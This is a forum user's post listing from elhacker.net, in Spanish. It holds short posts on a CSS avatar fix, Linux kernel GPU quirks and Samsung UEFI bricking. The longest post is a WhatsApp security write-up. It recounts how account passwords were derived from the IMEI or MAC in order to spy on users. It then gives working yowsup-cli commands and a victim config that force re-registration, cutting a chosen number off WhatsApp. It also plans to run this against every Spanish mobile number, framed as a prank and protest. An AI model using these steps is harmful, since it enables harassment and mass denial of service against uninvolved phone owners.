elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Temas
Páginas: [1]
1  Foros Generales / Sugerencias y dudas sobre el Foro / chrome: avatares que se desbordan + solución en: 13 Febrero 2013, 00:37 am
este fichero
http://foro.elhacker.net/Themes/converted/css/style.css

tiene una información de estilo que aplica a la imagen de los avatares.

cuando la imagen esta dentro de un div con overflow=scroll, y las medidas del div y de la imagen coinciden o se acercan demasiado, en chrome no queda bien; se generan unas molestas barras de desplazamiento para la mayoria de avatares de los usuarios:


arregladlo de un plumazo añadiendo esta simple linea a ese css:

Código
  1. .avatar{width:99% !important;height:auto !important}
  2. div.smalltext{overflow:hidden !important}

eso dejará unos avatares que aprovecharán todo el ancho disponible, pero nunca generarán scrollbars. y en el caso que el avatar sea mucho mas alto que largo, sencillamente se hara clipping de la parte de abajo del avatar, para que no desbarajuste el layout del foro.



creo que todos los usuarios de chrome lo agradeceremos visualmente! :)

saludos,
A

EDITO: he cambiado la explicacion para no hacerla tan liosa xD
2  Sistemas Operativos / GNU/Linux / tu portatil usa grafica de intel y se te apaga el panel cuando arrancas linux? en: 8 Febrero 2013, 09:09 am
hola,

busco a gente que se quede "sin brillo en la pantalla" cuando arranca un nucleo linux de cualquier distro, superior a 2.6.37 y que usa una GPU Intel Mobile 4 series.

estoy liado con el envio de parches al kernel para ampliar la lista de "pci quirks" y mejorar el comportamiento del driver intel-gfx con el kms.

si hay alguno por aqui, que me envie un mp.

a cambio, la proxima version de linux dejará de hacerle la puñeta, o incluso le puedo facilitar el parche ya. en el kernel ya tenemos el codigo que resuelve el problema, pero hay que añadir los datos de cada modelo afectado para aplicarle el pci-quirk correspondiente.
3  Sistemas Operativos / GNU/Linux / keep calm... and use debian en: 8 Febrero 2013, 03:29 am
para todos los debianitas...


4  Sistemas Operativos / GNU/Linux / Linux destruye la bios de portatiles Samsung con UEFI en: 4 Febrero 2013, 00:59 am
no se si hacer el chiste...
"UEFI funciona tal y como se esperaba de él"  ;D

A finales de mes saltó la liebre de que los notebooks de samsung se pueden convertr en puros ladrillos si se trata de arrancar un núcleo Linux en ellos.

El firmware de la bios queda destruido por completo.

El motivo es que el modulo de kernel para los laptops de samsung se apoya en la idea de que existen ciertas direcciones de memoria baja mapeadas en la bios, cosa que ha dejado de ser cierta para las máquinas modernas de samsung con bios UEFI.

Samsung está cambiando las placas base de las máquinas afectadas, pero no ha conseguido resolver el problema mediante actualizaciones de bios. De hecho no han podido desarrollar parche alguno en semanas.

Desde el desarrollo del kernel, de momento se pone un parche que desactiva el driver samsung si se activa el soporte EFI:
https://patchwork.kernel.org/patch/1694801/

matthew garret (desarrollador del núcleo de linux en las áreas de interfaces firmware y linux movil) explica muy bien el tema, que claramente apunta a la ya tradicional ineficiencia de samsung a la hora de implementar las bios:

http://mjg59.dreamwidth.org/22028.html

en fin, os aviso por si teniais intencion de ejecutar las live de SW, cualquier otra live o linux en general en máquinas samsung recientes con UEFI. NI SE OS OCURRA.

fuente: listas de correo de desarrolladores del kernel de linux
5  Comunicaciones / Hacking Mobile / Presentando WhatsappVoyeur en: 17 Enero 2013, 04:00 am
Hola gente,

berni69 y un servidor estamos muy liados con el trabajo, cosa que es buena, y aunque ya no aportamos gran cosa a elhacker.net ni a seguridadwireless.net, en fiestas nos hicimos con algo de tiempo para hacer este proyecto, que sin ser realmente una herramienta de espionaje, sirve como una buena prueba de concepto de la poca privacidad real que existe en whatsapp hoy dia (aunque haya mejorado recientemente).

http://www.whatsappvoyeur.com

estamos aún puliendo alguna locura que nos hace el conversor de fechas en circunstancias muy concretas, asi que os pido un poquito de paciencia si veis fechas surrealistas por ahi.

tampoco hemos implementado los emojis aún, porque es trabajo de chinos extraer TODOS los iconos que tiene whatsapp para implementarlos en el código. paciencia.

tengo que agradecer al genio Tarek Galal, que desde Egipto siempre está atento a los cambios del protocolo de whatsapp y es un toda una eminencia haciendo ingenieria inversa del mismo para implementarlo en su API en python, yowsup.

Python coders: no dejeis de seguir su trabajo en github, es inspirador.

saludos,
alist3r
6  Seguridad Informática / Hacking Wireless / Dejando a un país entero sin Whatsapp... WTF? en: 29 Diciembre 2012, 18:02 pm
Hello everybody,

Sé que he pegado un parón importante en mis aportaciones. Es sólo ahora en fiestas, que tengo algo de tiempo para trastear un poco.

Queria realizar algunas reflexiones sobre el dichoso whatsapp, aplicacion presente en millones de telefonos moviles y que sirve como base para la comunicación diaria entre personas a todo tipo de distancias, desde vecinos hasta amigos en el otro lado el planeta.

Realmente es una aplicación cuya seguridad podria poner en compromiso a mucha gente...

Como ya sabreis, se descubrió que whatsapp en realidad utiliza una version tuneada el protoloco XMPP, el mismo que usa jabber, goole talk, e incluso facebook para su chat.

Esto, al principio, se supo gracias a un simple sniffer, ya que todas las conexiones viajaban sin cifrar (tocate los raviolli)

la identidad del telefono se autentica durante la primera vez, por mecanismos como un sms o una llamada de voz, cosas que solo puedes recibir cuando tienes la sim. por lo tanto, la primera vez, es obvio que necesitas tener esa sim a mano y operativa.

pero, si alguna vez habeis cambiado la tarjeta sim habitual del telefono por otra, habreis visto que whatsapp sigue funcionando perfectamente con la identidad del numero anterior, aunque la sim insertada sea de otro numero. esto es porque whatsapp se identifica con un nombre de usuario y una contraseña en sus servidores, los cuales obtiene durante el proceso de autenticacion de la primera vez, pero luego no necesita en absoluto la tarjeta sim dado que el password esta ya almacenado en la config.

en otras palabras: podrias perder la sim y seguir usando whatsapp con la misma identidad (numero de telefono).

volviendo al tema de las conexions sin cifrar de whatsapp, esto se arregló hace ya algun tiempo, pasando a usar ssl.

huelga decir que sslstrip permite a los investigadores seguir observando el protocolo de whatsapp y sus cambios entre versiones,  pero uno se queda un poco mas tranquilo al saber que se usa SSL. despues de todo, no hay muchas personas ahi fuera capaces de realizar un ataque MITM + SSLStrip.

pero aun asi, despues de mejorar la seguridad de la conexion, quedaban mas vectores abiertos. vectores evidentes y enormemente comprometedores.

alguien puso una contraseña en su whatsapp para iniciar sesion? NO.

pues eso, tal como cifrados determina el algoritmo para conocer la clave por defecto de la wifi de los routers, que suele estar basada en su mac etc., otros grupos de investigadores determinaron que cada telefono se conectaba a whatsapp con una combinacion de usuario + contraseña que tenian que ser deducibles ya que el usuario no las elegía.

se llegó a saber que el nombre de usuario es el telefono precedido del código de pais (346xxxxxxxx o 347xxxxxxxx en el caso de moviles españoles) y que la contraseña estaba basada en diferentes variables en función del sistema operativo:

windows phone: DeviceUniqueID
android y BB: IMEI
iphone: mac del adaptador wifi

a dichas variables luego se les pasaba un algoritmo md5 y poco mas que contar. con eso ya tenias la clave de acceso a whatsapp de un determinado usuario. especialmente en el caso de los iphones, ya que con un simple sniffer puedes conocer la mac.
en el caso de android, tampoco era muy dificil: acercarse al terminal a pulsar *#06# y anotar el IMEI en pantalla era todo lo que tenias que hacer.

asi pues: las contraseñas eran basadas en variables conocidas y procesadas por algoritmos conocidos. eso y nada es lo mismo.

en esta situacion, y gracias a implementaciones abiertas de la api de whatsapp diseñadas por terceros, (que conste que whatsapp no ha liberado su api, sino que ha sido "reverse-enginered"), se ha podido durante algun tiempo espiar con total impunidad cualquier conversacion de whatsapp de cualquier usuario, incluyendo el envio y recepcion de fotos (ya, ya se lo que estais pensando... menudo festival...).

video que ilustra el festival, cortesia de SbD...
http://www.youtube.com/watch?v=0YbV3Xex42I

en la actualización mas reciente de whatsapp, se ha pasado a un modelo algo mas seguro cuyo workflow es como sigue:

* pides el registro de tu numero, enviando tu numero a los servidores de whatsapp junto con la peticion de registrarse, la cual puedes solicitar por sms o por voz (este paso es como siempre fue)

* recibes un codido numerico del tipo XXX-XXX (mas o menos como siempre tambien, aunque ahora lo han mejorado para evitar el bruteforcing, antes tenia solo XXX. tambien realizan un throttling para evitar que se haga bruteforcing: mas de 3 intentos fallidos seguidos = un minuto de descanso. este vector es seguro.)

* envias la validación a los servidores de whatsapp, que se compone de nuevo de tu identidad (346xxxxxxxx) mas el codigo de validación que te enviaron ellos por sms o por llamada de voz automatica.

- en versiones anteriores habilitaron una posible validacion por email, para casos extremos donde no llegaba la llamada ni el sms, pero eso era una estupidez ya que eso no valida realmente el número; eso permitió a mucha gente vincular cuentas falsas de whatsapp a emuladores de android en los pc's. asi que lo han quitado. otro vector asegurado. bien.

* cuando el servidor recibe tu validación, y si esta es correcta, te responde entregándote un password que la aplicacion de tu movil debe guardar para identificarse correctamente a partir de ese momento. así es como el teléfono queda vinculado a ese numero, y si tratases de vincular un nuevo terminal al mismo numero cambiando la sim, ahora se genera una contraseña diferente cada vez, lo cual invalida el whatsapp del primer telefono en favor del whatsapp del mas reciente). basicamente la mejora en seguridad de esta ultima actualizacion es esa, que se ha dejado de usar un formula predecible para generar las contraseñas. todavia no se sabe si es calculable en base a otras cosas, o por lo menos limitable a un rango asequible de combinaciones (quizas han hecho versiones "salted" con progresiones numericas predecibles de la particula "salt" antes de aplicar el algoritmo)

esto cierra bastante la posibilidad del espionaje, etc. pero imagino que si usamos un mitm+ssl strip y la victima se conecta a dicha red, podremos capturar el proceso de logueado y el password sin dificultades. no lo probé, pero por deducción lógica digo yo que sí.

vectores que sigo viendo abiertos


DoS de whatsapp a un numero o lista de numeros


Veamos cómo:

descargamos yowsup; una implementación en python de la api de whatsapp, que nos permitirá interaccionar con el servicio desde nuestros scripts.

https://github.com/tgalal/yowsup/archive/master.zip

descomprimid el zip y entrad en el directorio 'src' dentro del directorio base. ahi está todo.

nos aseguramos de tener los requisitos que indica en el readme, estos son obviamente python y un par de modulos de python como libxml y poco mas. muy probablemnete ya los tengais en el sistema. si no, los errores son tan autoexplicativos que no tendreis problema en diagnosticarlos y resolverlos.

yowsup incluye ya un programa de tipo consola de comandos, llamado yowsup-cli, el cual nos va a venir de perlas para acelerar todo el proceso, en lugar de programarlo todo a bajo nivel. nosotros nos vamos a limitar a interacionar con el intérprete de comandos de yowsup mediante otro script creado por nosotros o bien a mano.

Esta es la ayuda del interprete de comandos yowsup-cli. como veis, puede hacer casi de todo:
Código:
usage: yowsup-cli [-h] [-l | -s <phone> <message> | -i <phone>] [-w] [-a] [-k]
                  [-r (sms|voice) | -R code | -e]
                  [--generatepassword input | --decodestring encoded_array]
                  [--help-config] [--v1] [-c file] [-D] [-d] [-v]

yowsup-cli Command line options

optional arguments:
  -h, --help            show this help message and exit
  --help-config         Display info about configuration format
  --v1                  If specified, it will force usage of old API in
                        registration calls. Also password field in config will
                        be ignored and will attempt to generate password from
                        specified identity (IMEI/MAC)
  -c file, --config file
                        Path to config file containing authentication info.
                        For more info about config format use --help-config
  -D, --dbus            Start DBUS interface
  -d, --debug           Enable debug messages
  -v, --version         Print version info and exit

Client options:
  -l, --listen          Listen to messages
  -s <phone> <message>, --send <phone> <message>
                        Send message to phone number and close connection.
                        Phone is full number including country code, without
                        '+' or '00'
  -i <phone>, --interactive <phone>
                        Start an interactive conversation with a contact.
                        Phone is full number including country code, without
                        '+' or '00'
  -w, --wait            If used with -s, then connection will not close until
                        server confirms reception of the message
  -a, --autoack         If used with -l or -i, then a message received ack
                        would be automatically sent for received messages
  -k, --keepalive       When used with -l or -i, Yowsup will automatically
                        respond to server's ping requests to keep connection
                        alive

Registration options:
  -r (sms|voice), --requestcode (sms|voice)
                        Request the 3 digit registration code from Whatsapp.
  -R code, --register code
                        Register account on Whatsapp using the provided 3
                        digit code
  -e, --exists          Check if account credentials are valid. WARNING:
                        Whatsapp now changes your password everytime you use
                        this. Make sure you update your config file if the
                        output informs about a password change

Debug tools:
  --generatepassword input
                        Generate password from given string in same way
                        Whatsapp generates it from a given IMEI or MAC Address
  --decodestring encoded_array
                        Decode byte arrays found in decompiled version of
                        Whatsapp. Tested with S40 version. Input should be
                        comma separated without the enclosing brackets.
                        Example: ./yowsup-cli --decodestring
                        112,61,100,123,114,103,96,114,99,99,61,125,118,103

una vez en el directorio src dentro del directorio yowsup, añadid el bit de ejecutable a yowsup-cli, para facilitar las cosas.

chmod a+x yowsup-cli

ahora tenemos que comprender un poco como funciona yowsup en general.
yowsup necesita un fichero de config operativo, que puede tener hasta 3 parámetros. en función de los parámetros que seamos capaces de documentar, seremos capaces de realizar todas las opciones, o solo un conjunto limitado de las mismas.

un fichero de config tiene este formato, incluyendo las descripciones del autor que tambien son muy explicativas y aclaradoras:
Código:
######## Yowsup Configuration file #####################
# Lines are commented using # and ;
# Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
# phone: Your full phone number including country code, without '+' or '00'
# id: This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
# on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
# of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
# a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
# or want to register, you can leave this field blank or set it to some random text.
# password: Password to use for login. You obtain this password when you register using Yowsup.
######################################################

## Actual config starts below ##

phone=34612456789
id=812345678908
password=zYQYEt/oYbWIDpGBN2oVGRzeHvY=

el id , de momento no nos puede servir de mucho ya que ahora no está basado en cosas que conozcamos, tal como pasaba antes.
si luego el debate se inclina hacia el id, puedo explicar algunas cosas mas sobre él, pero para el caso práctico que nos ocupa, lo dejamos estar.

el phone, es obvio. es el numero de telefono en nombre del cual realizamos la operacion.
el password, otra obviedad, es el password que previamente whatsapp nos entregó durante el proceso de validación de numero. es ese dato mágico que antes podiamos calcular fácilmente y que nos permitia espiar conversaciones de otros hasta hace poco, pero que ahora ha mejorado su seguridad.

entonces, ahora mismo, el unico dato de una posible victima que sabemos con una seguridad del 100% es su numero de telf.  
qué operaciones podemos hacer sobre los servidores de whatsapp sabiendo solo un numero de telf?

pues...
solicitar el (re)registro del numero en whatsapp!!
si solicitamos el codigo de validación para un numero, se enviara un sms o se realizara una llamada al titular del numero, dependiendo de por qué via queramos procesar la validacion.
durante este proceso, y hasta que el titular del numero vuelva a validar su identidad, su instalacion de whatsapp queda en un estado zombie, por lo menos en el momento de escribir estas linas y probando con android. es necesario borrar todos los datos de la aplicación y esperar un buen rato antes de poder volver a pedir un codigo de validación (porque claro, el anterior codigo de validacion que habremos recibido involuntariamente por sms o por llamada, no nos servirá de nada, ya que no fue nuestro whatsapp quien lo pidió, sino un atacante realizando el DoS, y por lo tanto nuestro whatsapp no estaba preparado para procesarlo).

para resolver esto, tenemos que borrar todos los datos de la aplicacion y luego reabrirla. whatsapp obviamente presentará la interfaz de registro de numero, pero si tratamos de solicitar un codigo de validacion, nos mostrará un error "parece que la aplicacion ha sido modificada, descargue la ultima version". Este mensaje es incorrecto, y aparece porque ha pasado demasiado poco tiempo desde que la victima solicitó un codigo de validación para nuestro número. tenemos que esperar a que el throttling nos deje pasar (lo siento, no he medido el tiempo, pero teneis un ratillo de espera, mas de 7000 segundos segun puedo observar en las respuestas del protocolo). Cuando haya pasado un tiempo, se puede volver a solicitar el codigo, esta vez de manera legitima desde la aplicacion whatsapp, y esperar a que llegue el sms de validacion, volviendo asi a asociar nuestra cuenta con un nuevo password en nuestro telefono... hasta que nos ataquen de nuevo LOL.

a la práctica de comandos desde el diretorio src de yowsup (ver la ayuda de yowsup mas arriba para entenderlo mejor):

./yowsup-cli -r sms -c /ruta/a/un/fichero/config/valido
o bien
./yowsup-cli -r voice -c /ruta/a/un/fichero/config/valido
(mas molesta la segunda opcion ya que la victima recibirá la llamada involuntaria de whatsapp entregándole un codigo dictado por sintesis de voz)

donde el fichero de config valido debe tener esta estructura:
Código:
# aqui va el teléfono de la victima a la que queremos dejar sin servicio
phone=346xxxxxxxx
# id en blanco porque no la necesitamos para solicitar la validacion de numeros
id=
# password en blanco porque no lo necesitamos para solicitar la validacion de numeros
password=

tambien podeis saltaros el parametro -c y no indicar un fichero de config, siempre y cuando tengais un fichero con exactamente la misma estructura en ~/.yowsup/auth . ante la ausencia de instrucciones en ese sentido, yowsup buscará esa config por defecto y entonces podréis usar yowsup-cli de forma más sencilla:

Código:
./yowsup-cli -r voice

vamos mas allá... pongamos que somos unos cabr*~|@# y que queremos molestar a todiós esta nochevieja...

aplicando el DoS masivamente a un pais (LOL)


He generado una lista de todos los numeros de teléfono posibles de españa, incluyendo los nuevos 722 723 y 724, usando la tabla de prefijos que se puede descargar de la web de la CMT.
con un poco de tratamiento de flujos de texto, con la ayuda de cut y de tr, obtengo esto:
http://pastebin.com/Ht2dYAma

lo cual, adaptado un poquito al sistema de patronaje del generador de wordlists crunch, da como resultado esto:
http://pastebin.com/hLrBVEUP

y con un script muy simple como este:
http://pastebin.com/LmQRktZW

procesamos la lista de patronajes de crunch, uno por uno, para concatenar la salida de las diferentes llamadas a crunch en un fichero unificado llamado telefonos-es.db, que contiene TODOS los moviles españoles, asi que con toda seguridad está vuestro teléfono móvil (no perdáis el tiempo comprobándolo, creedme; si es español, está ahi).

El total de posibilidades es grande:
alex@laptop01:~/tmp/cmt$ wc -l telefonos-es.db
111000000 telefonos-es.db


ciento once millones. wow.
obviamente no estan todos en uso a la vez, pero la numeración actual contempla esas posibilidades.

Ahora ya tenemos la lista de targets. Si realizamos un script que modifique o cree el fichero de config de yowsup en cada iteración a partir de esta lista, y que vuelva a enviar la solicitud de registro en cada vez con la identidad que hay en el config en ese momento, estaremos tirando uno por uno todos los whatsapps del país, haciendoles recibir sms o llamadas involuntarias y dejando sus conexiones a whatsapp KO hasta que resuelvan el problema.

podría ser legendario, una gran forma de protestar contra la pésima seguridad de whatsapp...

estoy picando el código de esa prueba de concepto. alquien querrá verlo cuando lo acabe?

salu2,
alist3r
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines